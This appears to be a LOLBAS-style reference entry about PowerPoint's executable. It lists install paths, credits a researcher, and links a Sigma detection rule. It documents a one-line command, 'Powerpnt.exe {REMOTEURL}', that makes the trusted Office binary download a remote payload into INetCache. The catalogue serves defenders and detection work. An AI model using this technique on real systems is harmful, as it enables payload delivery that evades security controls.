..
/Powerpnt.exe
Star
Download (INetCache)
Microsoft Office binary.
Paths:
C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\Powerpnt.exe
C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\Powerpnt.exe
C:\Program Files (x86)\Microsoft Office\Office16\Powerpnt.exe
C:\Program Files\Microsoft Office\Office16\Powerpnt.exe
C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\Powerpnt.exe
C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\Powerpnt.exe
C:\Program Files (x86)\Microsoft Office\Office15\Powerpnt.exe
C:\Program Files\Microsoft Office\Office15\Powerpnt.exe
C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\Powerpnt.exe
C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\Powerpnt.exe
C:\Program Files (x86)\Microsoft Office\Office14\Powerpnt.exe
C:\Program Files\Microsoft Office\Office14\Powerpnt.exe
C:\Program Files (x86)\Microsoft Office\Office12\Powerpnt.exe
C:\Program Files\Microsoft Office\Office12\Powerpnt.exe
C:\Program Files\Microsoft Office\Office12\Powerpnt.exe
Resources:
https://twitter.com/reegun21/status/1150032506504151040
https://medium.com/@reegun/unsanitized-file-validation-leads-to-malicious-payload-download-via-office-binaries-202d02db7191
Acknowledgements:
Reegun J (OCBC Bank) (
@reegun21
)
Detections:
Sigma:
https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_office.yml
IOC: Suspicious Office application Internet/network traffic
Download
Downloads payload from remote server
Powerpnt.exe {REMOTEURL}
Use case
It will download a remote payload and place it in INetCache.
Privileges required
User
Operating systems
Windows
ATT&CK® technique
T1105
Tags
Download: INetCache